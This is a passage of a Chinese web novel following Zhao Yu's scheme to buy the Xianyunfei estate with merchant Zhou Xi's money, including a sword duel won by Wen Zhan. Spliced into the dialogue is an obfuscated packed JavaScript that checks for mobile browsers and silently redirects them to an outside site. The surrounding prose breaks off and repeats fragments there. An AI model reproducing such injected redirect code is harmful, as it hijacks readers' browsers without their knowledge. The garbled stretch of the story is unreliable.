亭子四周用竹做成引水的管子,将湖水中的水抽上去,缓缓浇在凉亭顶部,那些水如同初春细雨一般,淋漓落下。此时,外面艳阳高照,可是他们在亭子中却如同在蒙蒙细雨中一般。 陈掌柜让伙计端过来他们这里最好的春茶,用梅子青釉的瓷盏冲泡好,端过来。 赵毓,“陈掌柜可是十三行的头面人物,周熙将你放这里,怎么,想做粮食的霸盘生意?” 陈三龙连忙摆手,“可不敢说这些话,赵先生。三年前宁州大旱,颗粒无收,当地官员豪族粮商联合起来囤积粮食,哄抬物价,百姓流离失所。宁淮侯拿着圣旨当场斩杀所有查有实证的官员,从关中调出粮食救命,不然,十万流民不知道要闹出什么大事。如今天下还算太平,虽然不能说年年风调雨顺,五谷丰登,没有大的兵灾,老百姓没别的大想头,就是想要吃一口平稳的粗茶淡饭。别的东西都能用来囤积居奇,只有粮食不可以。” 陈掌柜看着赵毓,“赵先生此次过来,所谋极大,你想要的是,……,羡云飞的千顷良田?” 赵毓没回答,他就站在亭子边,隔着人做的雨幕看着外面。 院墙之外。 千顷良田,稻穗垂垂。 赵毓手一挥,“那些,都是石侯的地?” 陈掌柜,“我们眼睛能看到的,全部是侯府的土地。另外还有眼睛看不到的,有很多也是。百年豪族,家底雄厚。绮镇三分之二的土地都是侯夫人娘家的,这些是侯夫人的嫁妆,如今也是侯府的家产。赵先生,如果您吃的下这些土地,肯定是极好,只是您的身份与侯府不同,这些土地在您手中,您得缴税。” 薛昌平没闷住,赞叹了一句,“这么多地,这么多地租子,还不用缴税,这些世家豪族,啧啧!” 赵毓没说话,他接过文湛递过来的茶盏,“老陈,我问你,你们茶庄做不做借贷的生意?” “做!”陈三龙点头,“银子一出一进就是利。我们东家有钱庄票号,做的就是这行生意。不说别的,如果借钱低于一万两,我本人就能拍板。不说我,只是那些跑街的伙计,手中都能掌控五十两到三百两的贷银。” 薛宣平,“十三行果然大手笔,用人不疑疑人不用,厉害。” 陈三龙,“生意场上瞬息万变,要是事事请示,那就事事不成。” 赵毓则说,“比这些要多,多得多。” 陈三龙,“您的意思是,……,钱多,还是人多?” 赵毓,“都多。我一个人吃羡云飞有些难,我想着,能不能分割开来,让大家一起来,这样每个人都有肉吃,不用打起来。但是我手边又没有这么多银子,也不想再动用别的东西来典押,所以想要找你们拆借,用来抵押的东西就是羡云飞的土地。” 陈三龙没说话。 薛宣平憋笑了一下,也没有说话。——老赵这个人邪性,他怎么能把空手套白狼说的这么清新脱俗? 赵毓也不着急,就等陈三龙。 于是,陈掌柜的手指在桌面上点了点,“这么着,这个事我真做不了主。赵先生您给我们周熙周老板亲笔写封信,我派人快马送回雍京,也许明天一早您就能收到他的回信了。这事,真得看看他的意思。” 赵毓点头。 陈三龙让人端过来文房四宝,很讲究,居然是湖笔宣纸,徽墨歙砚。 文湛拿过墨块,仔细磨开,用毛笔蘸了墨汁递到赵毓的右手边,薛宣平有些纳闷,只是没说话。随后,果然见赵毓用左手接过毛笔。 他看了文湛一下,文湛帮他铺开宣纸,却也一直看着他。 赵毓低头,开始给周熙写信。 一笔蝇头小楷,清邃温润,闲雅璇静,居然有七八分楚蔷生的风骨! 原来。 赵毓的字一直写不好,不是因为他不用心,而是因为他天生是左手用笔的人。 当年在毓正宫,所有人都以为赵毓天生顽劣,难成大器,他母亲崔贵妃也没有想着他成为出类拔萃的人,于是他写的字是好是坏没有人在意,也没人注意他左手握笔更顺。久而久之,世人以为皇长子不学无术,赵毓也就乐得轻松。 只有楚蔷生不这样。 他发现了赵毓左手握笔,硬是活生生的,连打再罚让他照着自己练就了一笔好字,却没有对任何人提及。 赵毓在外多年,笔迹终究是人的脸面,他这才不再胡乱涂鸦。 这件事,文湛都不知道。 信写的并不复杂,赵毓将自己大致的想法说了一下,就装入信封中递给陈三龙。 赵毓,“我们先回去,有任何消息,你让人送到渭河大街上沧琳园就好。我在那住。” 39. 39 39 陈三龙将他们送出茶庄,赵毓让自己留园的账房先回他住的地方吃饭休息,等到周熙回信之后再做打算。等到账房走后,他同文湛想要回沧琳园,结果,走了两步,赵毓有些惊讶的发现,薛宣平居然还跟着他与文湛。 赵毓奇道,“你跟着我做什么?” 薛宣平,“我为你在毒日头下东奔西走了一上午,到饭点了,你应该管我顿饭吃吧。” 赵毓更加奇怪,“你做事,我给你佣金,我为什么要管你吃饭?” 薛宣平,“这是人情。” 赵毓反问,“你不是说过,以后同我只讲买卖,不讲人情吗?” 薛宣平,“我什么时候说过这种话?” 赵毓,“元熙十年,八月初八。” 薛宣平,“……” 赵毓,“我连自己的账房都不留饭,你凭什么认为我能请你吃饭呢?” 薛宣平知道混饭无望,直接骂了一句,“忘恩负义的王八蛋。” 赵毓,“你原来不是说我是吃里扒外的白眼狼吗?” 薛宣平,“我就知道同你们这种心狠手辣的读书人没法说话,我跑了。”不过刚走了几步,他又折返回来,“让你一胡说八道我差点把大事忘了,晚上萧呈请喝酒,就在白苑。西北道的人应该都过来,你想想,羡云飞的事还有你做的事应该对大家怎么交待。” 绮镇白苑是西北道自己的地盘,既然老大萧呈摆酒,诸人到场,自然要在那里。 沧琳园。 他们包了最好的院子,自然是贵客,店家把冬天储存的冰全部拿了出来,放在大瓷盆中,形成一座冰山,镇在屋中。 赵毓让店家在外面叫了几个小菜,用食盒装了拿进屋中。 文湛似乎一直没有说话,赵毓吃完饭,刚放下筷子,文湛就去扫了一下凉席,铺开了床铺。 “你去睡一会儿,到时我叫你。” “呃,……” 赵毓被轻轻他拉着,走到床前,就在文湛的手指给他解开领口的时候,赵毓按住他,“你别生气了。” …… “你别生气了,如果你这么不愿意借我令符,我这就去追裴檀,把那个东西追回来就是。” “你别生气了。我先回去,等你气消了再过来。” “你别生气了,那是我瞎说的。” “你别生气了,等我一进宫,就找我娘要玉佩给你。” “你别生气了,上次你书桌上不是有那个什么密奏盒子吗……” …… 昔年,赵毓也总是这样软语相告。 文湛摇头,“我没生气。” 赵毓,“我会写字的事情是楚蔷生不让说的,当时我不知道为什么,后来,其实会不会写字已经不重要了,所以一直没提。” 他一着急,就把楚蔷生给卖了,顿时觉得心中泛起一丝愧疚。 “呃,其实楚蔷生可能也是怕我写不出好字来,先告诉大家我练字结果练不出来显得多事。那个时候,真是多一事不如省一事。” “嗯。” 文湛点了点头,随即让他躺好,扯了薄单过来些微给他盖上,又拿了扇子给他摇了摇,赵毓还真觉得有些困,没两句话,居然睡着了。 似乎也没有睡很久。 赵毓迷迷糊糊坐起来,嘴边有晾好的茶,不冰不热,他仔细喝了。 他揉揉眼睛,“你没睡一会儿?” “睡过,也醒了。”文湛让赵毓坐了一会儿,再醒醒神,这才让他起来,在给他穿鞋子的时候忽然问了一句,“我原来是不是总对你生气?” 赵毓,“不止对我吧,整个东宫的人都知道你法严量窄。” “不是。”文湛说,“整个东宫的人都说我气度恢弘,仁德宽厚,楚蔷生甚至说过,我具有明君圣主的气象。” “呃,……” 天气暑热,店家用深井水镇了桃子与西瓜,装在果篮中在赵毓午睡的时候送进来,顺便也送了一把刀。 文湛将水果切开,削成大小不一的块。 其实,他想把水果块削的整齐一些,就是下手有些不稳。桃子还是脆的,西瓜又太厚,切的实在不太体面,所幸,这里没有人挑剔他这些。 他将赵毓拉到桌前,让他坐在自己腿上,手指捏着银叉,喂赵毓吃桃子。 深井水镇过的水果凉丝丝的。 文湛,“要是以后我再对你生气,你告诉我,我会克制,也会改。我怕自己再控制不住脾气,吓到你,也伤到你。” 赵毓,“我不怕这些,你吓不到我,也伤不到我。人谁都有个脾气,泥人还有三分土性,更别说你了。我只是觉得,气大伤身,暴怒伤肝。我不是故意气你,你知道我人笨,以后有什么事情,说一遍我要是不懂,你再多说一遍,也许我就懂了,没必要动气。” 文湛摇头,“你不笨,你就是,……” 他给赵毓吃了一块西瓜,甜津津的。 “什么?”赵毓有些口齿不清。 文湛,“你人好,就算最恨我的时候也愿意和我说话。我控制不住脾气是心不稳,我知道,你不是故意气我,你也做不出那种事,而是,……” 赵毓右胳膊揽在文湛的肩膀上。 “那个时候,你心不在我身上。” 文湛的头发没有束起来,赵毓的手指在他发丝中梳理,他感觉头皮有些酥麻。 他又叉起一块桃子,刚到赵毓嘴边,他只是用舌尖舔了舔,就感觉饱了,实在吃不下,文湛自己将那块桃子吃掉。 赵毓动了动,“我坐你旁边吧,这么着总在你腿上压着,你不难受?” 文湛,“你原来不让我这么抱着,现在愿意一些了,我多抱一会儿。” 赵毓,“你怎么喜欢这个姿势?” 文湛,“小的时候,你也是这么抱着我的。” 赵毓,“我当时是抱孩子,力气小,不这么个姿势怕摔了你,你懂?” 文湛,“现在抱着你,一样。” 赵毓,“……” …… 绮镇,白苑。 西北道的地盘。 这里的建筑粗犷豪奢,与十三行那种膏腴中的膏腴,精雕细琢、分毫之间具是江南千里繁华的风格截然不同。 已经入夜。 白苑灯火通明,明武堂摆酒。 正堂前一个巨大的圆桌,上面摆满山珍海味,鲍参翅肚,龙肝凤胆。 酒碗排开。 西疆的葡萄酒。 宁州老酒。 烧刀子。 蒙古的闷倒驴与酸马奶酒。 林林总总,除了那些从西疆诸国运过来深红色的葡萄酒,具是喝下就能烧到喉咙的烈酒。 圆桌上只坐了三个人,周围二十几人衣饰华贵,却安静的站在一旁。偌大的圆桌上还留着最后一把空白椅子。 上座就是萧呈。 薛宣平在前面走,引着赵毓、文湛,隐隐有些带路的意味,等他们走到明武堂的圆桌前,薛宣平对着萧呈起手施礼,随即,站在一旁。 赵毓走过去,径自坐在那把空白椅子上,文湛站在他身后。 至此,圆桌上四人满桌。 萧呈大约六十岁开外,白发须苍,即使身上是文人的长衫也挡不住周身的彪悍,他身边那两个人比他更苍老,其中一位大约七十岁,身上残破,像是经历了多年兵灾活下来的残余,而另外一位看着都要八十岁了,颤巍巍,手指连酒杯都握不住了。 只有赵毓。 看上去笑意盈盈的,人长的好,然而更残酷的是,他年轻。 他年轻就身居高位,眼前有无尽的岁月,足可以熬死他们所有人。 萧呈见惯了赵毓,没见过他身后的文湛。 他自持看人毒辣,却怎么看不明白眼前这人。 他不像薛宣平,只因为文湛身上的书卷气就认为他是翰林院的人,他会看的更深远。 只是,这更深远的地方是一片黑暗,像个深坑,或者是深渊。 他看见了文湛腰间缠绕的细剑,不出世的武器,江湖上无人识得;他也看见了文湛垂下的手指上套着的护指,最好的昆仑玉与玄铁打造的,用来拉开硬弓的利器;最后,是文湛的眼神,没有人可以从他的眼神中看出他的内心。 萧呈想着自己修炼成这样的眼神足足用了五十年,而眼前的人,也许不到三十岁。 他是谁? 萧呈首先举起一杯酒,“原本以为赵老弟你回冉庄了,此生不会再有机会见面,谁想到今天在绮镇又见了。你来这里,是为了截胡?” 赵毓也喝酒,“截胡到不一定,不过,我要是放着你们来做这个局,最后肯定是诈和。” 萧呈,“咱们的人都来齐了,有什么话直说。” 赵毓,“你知道我,人笨嘴也笨,没什么可说的。咱们老规矩,赌桌上决胜负。胜了,一切不用说了;败了,直接卷铺盖卷走人。” “老赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛宣平胖大的身躯一下子扑过去,直接揪住那个人开始拳打脚踢,“明武堂最恨你这种吃里扒外的王八蛋,我今天就做了你,为萧老大清理门户!” 那人一直惨叫,血呼啦差,但是无人出手相助。 薛宣平说对了,这里,最恨就是吃里扒外的王八蛋。 还有。 也无人再反驳赵毓,他们总觉得赵毓太邪性,不知道他都知道些什么,也不知道他什么时候抛出来,能造成什么后果。 众人欺软怕硬,还是躲开为上。 萧呈见薛宣平要打死人了,才让身边的人将他们拉开。 他对赵毓说,“这次你拿大头,你独占四成,剩下的我们分,你看怎么样?” 赵毓,“我说过要和你们分了吗?” 萧呈,“怎么,你想吃独食?” 赵毓又笑,“我就吃独食了,怎么样? 萧呈喝酒。 赵毓喝茶。 赵毓说,“我说过还是按着老规矩来,色子牌九叶子牌麻将,随便。萧呈,你是挑一个人和我打对手,还是像上次一样,你们一个挨着一个的来?我陪着你们,赌桌上一定血战到底。” 萧呈,“换,咱们这次武斗。” 赵毓,“我不会。江湖规矩,找个大家都会的来斗,这才公平。” 萧呈指着赵毓身后,“让他下场。” 赵毓站起来要走。 萧呈则说,“我让我儿子下场。” 赵毓不听。 萧呈也站起来,“赵毓,你今天走了,就属于反叛。以后这里没有你的位子!你在羡云飞吃独食,就等于与整个西北道为敌,你可想清楚了?” 文湛却站住,他开口,“比什么?” 雍京官话! 这样的口音软,正,带着金尊玉贵的味道。 那是大郑权贵引以为傲的东西,虚无缥缈,却强硬无比。 因为人的口音可以把人立刻分成三六九等。 一个人,无论外表如何伪装,后来如何富贵,只要不是权贵家族出身,家中没有长辈使用官话从小一点一滴教导,这个人开口说的每一个字,每一个音节,每一句的尾音都可以将他之前想要隐藏的一切暴露出来,毫无遮挡。 萧呈知道赵毓会说,因为他是尹家的人。 他也知道自己儿子的尊长会说,因为那是定国公裴檀。 但是他不知道为什么这个人会说?! 也许常年在外,赵毓与裴檀还会说别的方言,导致他们的声音中不可避免带了一丝外界的影响。 但是眼前这人不是。 他的口音异常纯粹,没有任何的杂质,犹如晶剔的白琉璃。 萧呈看着文湛,“自家人,不必拼杀你死我活,用木剑,比剑术。” 文湛攥住赵毓扯动他离开的手指,微微点头。 应允道,“好。” 40. 40 40 有人送过来木剑。 这是一个精悍却克制的年轻人,看着比赵毓小不了几岁,却恭敬的双手递过沉木剑,“赵叔。 赵毓拿过木剑,横在手中,“萧则,你回来了。” 萧则点头,“是,我活着回来了。” 赵毓,“我听薛宣平说过,你现在是定国公麾下的精锐,六品游击。” 萧则,“五品。” 赵毓有些意外,“真好!萧将军再进一步,就可以世袭了,那可是子孙几辈子的福气,等这边的事情了了,回雍京我挖几坛子老窖请你喝大酒。” 萧则,“多谢赵叔。” 此时,他像是才看见自己的对手,——赵毓身后的文湛。 明武堂点燃了牛油大蜡,明如白昼,有光就有影,这些烛光照不到文湛所站之处,只是,他站在那里,就是一盏明灯。 萧则以子侄辈的礼数见了文湛,随后问了一句,“先生可是姓裴?” 文湛,“不是。” 此时,薛宣平拿过来两条布带子,让赵毓帮文湛裹一下衣袖。今天他们出门穿的全是文人长衫,宽袍广袖,不适合挥剑。 文湛忽然问,“那个人,为什么说我姓裴?” 赵毓见薛宣平站远了,才将木剑立于腿边,低头帮文湛整理衣袖。 他说,“他见过裴檀。” 文湛,“那又如何?” 赵毓,“我听说裴檀与你有三分相似,他毕竟是你舅舅唯一的儿子。” 文湛,“听说?你看不出来?” 赵毓,“我与裴檀是相看两厌。他长成什么样子,我怎么知道?如果你想要让我仔细辨认一下,等咱们回到雍京我请裴檀喝酒,到时候我坐他面前仔细看,好吗?反正多少年前崔珩就说我喜欢你这个相貌,就算是裴檀,只要他和你有一分半分的相似,我估计我强忍着应该也能看得下去。” 文湛,“……,还是算了,……” 赵毓将他两个袖子全部扎了起来。 文湛问,“这个萧则,……” 赵毓,“裴檀收复绥靖时调用了萧则所在的宁州军,萧则阵前英勇被裴檀看中,调入自己麾下,此时已经是五品武官了。” 文湛,“他是大郑的战将?” 赵毓点头。 文湛,“我知道了。” 至此,明武堂前清场,周围登时点燃一百火把,围成一个圆。 文湛从赵毓腿边拿起木剑,从明武堂前一步一步走下,一直到那个火把围成的圆中。 薛宣平眼睛一瞬不瞬的盯住文湛,他感觉到怪异。 文湛就站在那里,没有任何杀气,像是一座被冰封住的山峰。 然而薛宣平知道自己握住剑是什么感觉,——血都在烧! 当年他在赵毓麾下做百夫长,每次战争之前赵毓都会给每个人一碗酒,而他自己则手持海碗装满烈酒阵前誓师。 赵毓与别的将领不同,那些人只会空谈“为了江山社稷,万兆黎庶,大郑的明君圣主而战”! 他则不会。 这个人有迷惑人的天赋,他可以把普通的话说的极其富有煽动性。 那碗烈酒下肚,一股火从喉咙一直烧到肚腹,那个时候,在场的所有人都能感觉到自己的血开始烧。 他们有一种幻觉,他们来到这里不是为了军饷,而是,他们天生就应该在这里。 因为,他们就是大郑坚不可摧的城墙。 他们打仗为了自己,为了家人,为了妻子儿女,他们脚下的土地,每向前一分都是为了自己的子孙万代。 血烧到沸腾! 这才是对阵时应该有的样子,而不是像此时正与萧则比剑法的文湛。 文湛的剑法异常怪异。 萧则是真正经历过战场,见过死亡的人,这与普通人最大的不同就是那股无所畏惧的杀气。 文湛身上没有。 但是。 文湛却不畏惧,似乎这个世上没有任何人与事可以使他畏惧。 他的剑法是以杀戮止杀戮,没有任何的防御与退让,似乎他眼中,对手并不是活着的人,而是一棵树,一根竹,一块山石,一汪水或者一朵花。 他对萧则没有敌意。 萧则感觉每一次的对招,他都要承受崇山峻岭般的压力,雷霆万钧,却冰冷宁静。 文湛让他想到了自己曾经遥望过的慕士塔格峰,——昆仑的西端。 那里是雪线之上,那里是冻土,没有生灵,仅余下一片荒芜,永生永世。 对战之中,萧则却隐隐感觉到文湛开始指导他的攻击,虽然只有三次,却令他受益匪浅。 最后,文湛的木剑当头砍下,而萧则横剑阻挡,啪,瞬间,双剑碎裂,成为齑粉,萧则腿一软,竟然直接双膝跪地。 赵毓赶忙过去,拿起文湛的右手,发现只是微微发抖,虎口有些酸疼,却没有任何伤痕。 “我没事。” “看不出,你力气不小。” 文湛不是武人,也不是天生神力的人,但是他知道,无论身边有多少御林军,禁卫军,影卫,最后一道防线终究是自己。 他的命太沉重,那不仅仅属于他自己,那还属于大郑千年的基业,祖宗传的江山社稷。 他的这些剑术与力量,都是经年累月,一点一点炼出来的。 文湛看着他忽然低头,声音很轻,“回去我教你练剑,体力好一些,不至于像现在这样,连前半夜都撑不过去。” 他的眼神,似乎被火把的光照到可以燃烧起来。 赵毓,“……” 白苑门外,文湛已经上马。 薛宣平手中拿着一封地图追了出来,“老赵,这是羡云飞的全图。萧老大说了,这次的事情他不插手,西北道的人也不插手,都是你的。你真行,这位小哥也厉害,人看着斯文,出手真狠,萧呈儿子的手现在还抖,虎口都裂了。哈哈。不过那小子皮实,过两天就好。” 赵毓没拿那封地图,让薛宣平装起来,“走,咱们去羡云飞那里看看去。” “我也去?”薛宣平有些意外,“你等我一会儿,我去接匹骡子来。” 赵毓,“不用,你骑我的马。” 文湛伸手,用力扣住赵毓的手指,直接将他拉上自己的马,就坐在自己身前。 薛宣平爬上马,“老赵,很少看你这么开心。” 赵毓,“我一直很开心。” 薛宣平,“拉倒吧,很多时候看你皮笑肉不笑的。走,哎,你们等等我!” 他们三个人,两匹马,一前一后从白苑离开,向羡云飞疾驰而去。 这里有一高地,立马于此,可以俯瞰羡云飞千顷良田。 已经是深夜了,皓月当空,清冷却明亮的月光照下,垂垂的稻穗被夜风微微吹过,一重一重,像波浪一般。 赵毓,“玉碎珍珠。” 薛宣平冷不丁的听赵毓说了什么,没听清楚,“什么?” 赵毓,“有一种米异常昂贵,新米蒸煮成米饭稀粥,颜色是淡绿色的,像是一粒一粒碎裂的玉,但是它的颗粒却比一般米圆润,晶莹剔透,又像是一粒一粒珍珠,所以,这种米就叫玉碎珍珠。” 他又问文湛,“你知道吗?” 文湛,“嗯,知道。” 薛宣平,“我怎么没吃过?” 赵毓,“它的米价是一般米价的十倍,只供雍京权贵,当然,也许扬州的盐商也能拿到一些,不知道十三行的周熙吃不吃这种米。” 薛宣平用马鞭一指眼前,“就是这些?” 赵毓点头,“是。” 薛宣平又啧啧,“贵成这样,老百姓肯吃才是活见鬼!” 赵毓,“有一年,它的米价甚至是普通米价的二十倍。” 薛宣平似乎想到了什么,他用马鞭指指眼前这波浪一般的千顷稻田,又指了指赵毓,“你,这个,……就是,那年,……” 赵毓点头,“是。” 薛宣平,“我的天啊,这么多年,你一直惦记着它?” 赵毓摇头,“不是,我也是到绮镇才想到的。” 文湛却不明白,“什么事情?” 薛宣平回答道,“这位小哥你不知道,当年老赵在敦煌带兵,我是他的伙夫。那一年黄河水患,南方的粮食运不过来,关中的粮食已经征调一轮了,怎么也得给老百姓留点,可是匈奴王阿提拉兴兵,又不能不打。当年老赵自己来过绮镇调粮,没弄到就回去了。结果战备不足,老赵还让人给抓了,据说带到漠北王庭。” “这里的地是随侯府的,不纳粮,不缴税,不被征调,就算镇守将军燕遂宁来了也白搭。再说,那年黄河发大水,南方的米过不来,本来普通米的价格已经比往年高出三成了,结果这边玉碎珍珠的价格愣是那年高价米的二十倍。看样子,不管贵成什么样,总有人出的起这个价钱,只要东西好。” “老赵来绮镇,征粮,没办法,买粮,没钱,最后只能空手回西北了。” 文湛不说话,只是听着。 世家豪族兼并土地,战时发国难财,这些事情他听得多,见得也不少,只是,没有想到,赵毓曾经,…… 薛宣平对赵毓说,“说实话,我当时以为你肯定死在须臾沙漠以北了,真没想到你还有今天。” 赵毓,“祸害遗千年,我且活着呢。” 赵毓没有听见文湛再说话。 只是,他感觉到揽住自己腰间的手臂极度收紧,像鞭子一般缠绕着自己。 薛宣平则说,“老赵,我话说在前头。咱们都是平头百姓,不是世家豪族,征地这活儿咱们可干不了。你看十三行的周熙那么厉害,他们做的是货通天下的生意,可从来没有学那些权贵们囤地,不是因为没钱,而是因为没权。” 夜里回沧琳园,文湛一直不说话。 赵毓,“我,……那个,……” 文湛帮他把束发的玉环拆下,“这十年我不知道的事情太多,你有时间也有心情的时候一点一点告诉我,我承受的住。” 随后,他轻轻拥住他。 赵毓却感觉,皇帝在微微颤抖。 第二天,周熙到了。 从清晨开始下雨,本来周熙想要请赵毓在茶庄吃饭,不过赵毓让人告诉他,“既然惦记着十三行的银子,还是我做东,不然显得太不够巴结了。” 赵毓请周熙吃饭的地方是羡云飞一个佃户的家中。 稻田旁有一条古栈道,直接向前走则是一条三百年的松木长廊,尽头有一个亭子,赵毓让人将饭菜摆在亭子中。 周熙骑马到长廊的时候,看见赵毓手中撑伞在那里等他。 赵毓,“本来想着等你一个回信就好,没想到周老爷就亲自过来了。” 周熙下马,将马匹拴好。 他不接赵毓的话茬,也不说生意上的事情,只是拿出一个小食盒,递给赵毓,说,“我刚才让茶庄的厨子包了一些猪油汤圆,黑芝麻馅的,又带了些自己酿的桂花酱。这是我们永嘉的口味,不知道你吃的习不习惯。” 周熙总是这样,上门见人从来不空手。 赵毓接过来,道了谢,“习惯,我就爱吃这个,一会儿让他们煮了,咱们饭后吃。这边请,先喝口茶。” 赵毓帮周熙撑伞,而周熙则向外让了半个身子。 周熙总说赵毓客气,其实他们之间还是周熙客气。 亭子那里已经有人。 那个人站着,看着亭子外面的烟水与稻田。 石桌上摆放一套很简陋的茶具,盛着清澈的茶汤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728898|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵毓并没有为周熙引荐那个人,周熙只是冲着那个人拱手,而那个人则连还礼都没有,却用眼睛看了他几眼,勉强算是个还礼。 生意做到周熙这个地步,看人不是本事,而是本|能。 赵毓身世极其复杂,与他来往的人也是形形色|色,上至王公显贵,下至贩夫走卒。 十三行有今天,就是周熙清楚的明白,只做自己能做的生意,只挣自己能挣的钱,只结交自己能结交的人,其余,一切都是虚妄。 赵毓收了伞,将食盒放在桌面上。 周熙说,“今年应该是丰年。” 赵毓点头,“对。这些米珍贵,老百姓拿出去兑些粗粮,应该能喝上稀粥了。” 周熙只是微微摇头,“没办法,地租太高。” 赵毓,“这里盛产玉碎珍珠,周先生的陈掌柜常驻绮镇,做的就是这个生意,不知道这种米,周先生是否吃的习惯。” “不怕你笑话,我没吃过。”周熙笑着说,“我们碗中是永嘉的糙米,一年两季,比这个便宜的多。” 周熙说的是官话,却带着吴音,清冽缠绵,显得异常儒雅。 赵毓,“卖油娘子水梳头,我当年听崔珩说过。” 周熙,“是。” 赵毓,“周先生,既然您来了就不能白来一趟。羡云飞的全部土地,它的庄园,还有后山以及果园,我可以七成拿下,然后七成半卖给你,你看可以吗?” 周熙也没有王顾左右而言他,直接说,“这件事情,可不可以等崔侯爷回雍京城再说?” 赵毓,“这事与他没有关系。” 周熙,“有没有关系,他在这里,我心里有底。” 赵毓,“你我的交情也蛮好,未必比崔珩差吧。” 周熙摇头,“这件事与我同侯爷,还有我同你的私交没有关系。宁淮侯是圣上下旨亲封的三等侯,位列大郑三十二侯府名碟上,我要的,是他这个身份。” 赵毓也笑,“我在这里不行吗?” 周熙,“您原来行,现在不行。” 雨中,亭子中的三人安静的像是飘渺的烟水之气。 赵毓身后那人,忽然泼了茶水,重新倒了一盏热茶,放在赵毓手边。 周熙说,“周熙一介商贾,身上没有功名,征地,天大的事,周熙担不起。” 赵毓,“十三行财雄势大,……” 周熙,“永嘉子弟命苦,生下来就知道,家乡七山二水一分田,如果不出外讨生活,饭都没得吃。原本我们做的都是小买卖,利薄,缴税,风险大,万一哪个不对付,家底就亏,慢慢的,这些家乡父老就组成了十三行,大家好歹互相照顾。我们就在江南,但是织绸,瓷器,这些真正赚大钱的买卖都在江南制造局手中,我们也拿不到,更不要说征地了。赵先生,您看看,当今天下,凡是能持有大片良田,有庄园,有佃户,不用奔波劳累的,可以顿顿吃玉碎珍珠的,哪个不是权贵?” 赵毓忽然笑了,“我还以为,大郑的土地皆是天子的,那是列祖列宗南征北战打下的江山;这些土地也是百姓的,生于斯长于斯,每日辛苦劳作,收获粮食以养家活口。” 周熙喝了一口茶,已经凉掉。 赵毓,“好了,老周我不跟你兜圈子了。这次咱们只赚钱,不征地。这些土地在手中只不过一时半刻,转手就可以出去。你给我七成五的钱,我以七成的价格征地,总要让我也赚一些,随后我将土地质押在你这里,利息你照算,不用和我客气,最后我给你卖地。我给你以市价卖地。你不用费心,仅仅借钱就能拿走羡云飞二成五的利,可以吧。” “再说,这里的玉碎珍珠这么好,你又没有做粮食霸盘的野心,官府肯定放心,羡云飞的粮都是你们收,也是你们卖,其中的利润更客观。” 闻言,周熙仔细看了看赵毓,又看了看他身后人。 那个人似乎对于他们的话没有一丝半分的兴趣,他看着雨幕外的稻田,还有远处的树木,极目之处的山峦与青峰。 周熙,“这里,……,有可能会成为逆产。” 赵毓手指在桌面上敲了敲,拿起刚才那个人给倒的热茶喝了一口,“不怕,要的就是这个。” 周熙,“如果一旦成为逆产,一切银子化为乌有还是小事,卷入巨案可能是抄家的祸事。” 赵毓,“不知道周先生有没有听说’五亩地’法令?” 果然,周熙摇头。 赵毓,“凡是世家豪族的土地,无论是否是逆产,当然逆产居多,可以化整为零出售。以五亩地为准,可以以市价出售给那些无产的佃户雇农。如果以这种方式卖掉土地,则不再追究手持逆产的罪责。这是七百年前圣主鹤玉王颁布的天子令,直到现在依然有效,却很少人听说过。 法令的本意是以重利诱世家豪族出手土地,防止土地兼并过甚。 总有不肖子孙,总有人贪图金钱,总有人守不住祖业,总有人在大难之前需要银子做最后一搏。” 周熙不解,“既然是逆产,那官府收回直接分拨不就好了吗?” 赵毓,“直接分拨,这些土地永远到不了老百姓手中。据我所知,现在就有人盯上这里,那个人可不像咱们布衣之身,人家身份贵重,胃口大,想必是要一口吞下整个羡云飞。说实话,要是被另外一个权贵豪门吞下羡云飞,事情与土地在随侯手中没有不同。这里一样不缴税,不被征调粮食。” 周熙,“怎么保证随侯世子一定会将羡云飞卖给你?” 赵毓,“如果你应了我,除我之外,石慎别无选择。” 饭菜酒水摆了过来。这里清苦,赵毓自己带来的玉碎珍珠,另外让主家炒了青菜,蒸了一条从稻田抓上来的草鱼。 周熙看着桌面上绿莹莹的米饭,终于点头,“好。” 41. 41 41 周熙吃过饭就要走。 “我回去让账房准备银票。赵先生,等你从随侯世子手中拿下羡云飞的地契,我这边银票就送到了。除此之外我还得回雍京,石世子拿着十三行这么一大笔银票,防着他要兑现银。绮镇兑不了这么多现银,雍京一定要能兑,不然,我们十三行汇通天下的牌子就倒了。” 赵毓不留他,就是给他包了一包玉碎珍珠。 周熙推辞,“这个也不能要,这些精细的东西吃惯了,粗茶淡饭就如同嚼蜡了。” 赵毓想着不能让他空手,只是凉亭这边空荡荡,什么都没有,最后,赵毓在外面的荷塘里捞了一支荷花还有一只莲蓬,给周熙。 “谢谢你的猪油汤圆。” 周熙看着这只花和莲蓬,居然有些哭笑不得,“好,我收下。” 说完,冲着赵毓,也冲着他身后人拱拱手,过桥牵马,走了。 赵毓他们却没走。 这里离羡云飞不远不近,外面又下着濛濛细雨。 赵毓撑着伞,对文湛说,“咱们在这里走走?晚上也可以不回去,我请这里的主家帮咱们收拾了一个空房,就在后山半山腰上,据说那里还有温泉,咱们也可以去好好泡泡。山里凉,住着舒服。” 文湛过来,拿过那把油纸伞,“好。” 雨不大,可以撑伞,也可以不撑。 他们沿着稻田中间的垄走,不远处就有山,路边还有一些野果子。 “怪不得这里可以种稻米。”赵毓摘了一颗晶莹剔透的小红莓果,放在嘴里,酸甜苦涩,不太难吃,“看着挺像永嘉的,我去过。” 文湛四顾。 他知道永嘉在哪里,但是他没有去过。 其实,他从来没有出过雍京城,最远去过冉庄,那也是直隶与雍京之间最近的一个地方,剩下的,就是这次,他同赵毓来到绮镇。 皇帝不可以随便离京。 除非山河破碎,或者御驾亲征。 文湛看着这里,清丽怡静,如果这里像永嘉,那他想象不出永嘉苦到什么地步。 他问赵毓,“永嘉真像周熙说的那样穷困?” 